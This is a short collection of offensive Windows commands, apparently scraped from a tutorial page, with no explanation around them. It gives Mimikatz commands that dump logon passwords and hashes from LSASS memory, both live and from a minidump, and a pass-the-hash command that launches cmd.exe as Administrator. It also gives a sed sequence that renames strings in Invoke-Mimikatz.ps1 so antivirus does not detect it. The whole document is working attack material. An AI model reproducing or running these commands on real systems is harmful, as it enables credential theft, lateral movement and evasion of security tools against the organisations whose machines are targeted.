1.\mimikatz "privilege::debug" "sekurlsa::logonpasswords" exit

1mimikatz_command -f sekurlsa::logonPasswords full
2mimikatz_command -f sekurlsa::wdigest

1sekurlsa::pth /user:Administrator /domain:WOSHUB /ntlm:{NTLM_hash} /run:cmd.exe

 1mv Invoke-Mimikatz.ps1 Invoke-MimiDawgz.ps1
 2
 3sed -i -e 's/Invoke-Mimikatz/Invoke-Mimidawgz/g' Invoke-MimiDawgz.ps1
 4sed -i -e '/<#/,/#>/c\\' Invoke-MimiDawgz.ps1
 5
 6sed -i -e 's/^[[:space:]]*#.*$//g' Invoke-MimiDawgz.ps1
 7
 8sed -i -e 's/DumpCreds/DumpCred/g' Invoke-MimiDawgz.ps1
 9
10sed -i -e 's/ArgumentPtr/NotTodayPal/g' Invoke-MimiDawgz.ps1
11
12sed -i -e 's/CallDllMainSC1/ThisIsNotTheStringYouAreLookingFor/g' 
13Invoke-MimiDawgz.ps1
14
15sed -i -e "s/\-Win32Functions \$Win32Functions$/\-Win32Functions 
16\$Win32Functions #\-/g" Invoke-MimiDawgz.ps1

1Get-Process lsass | Out-Minidump`
2
3mimikatz “sekurlsa::minidump lsass.dmp”
4
5mimikatz # sekurlsa::logonPasswords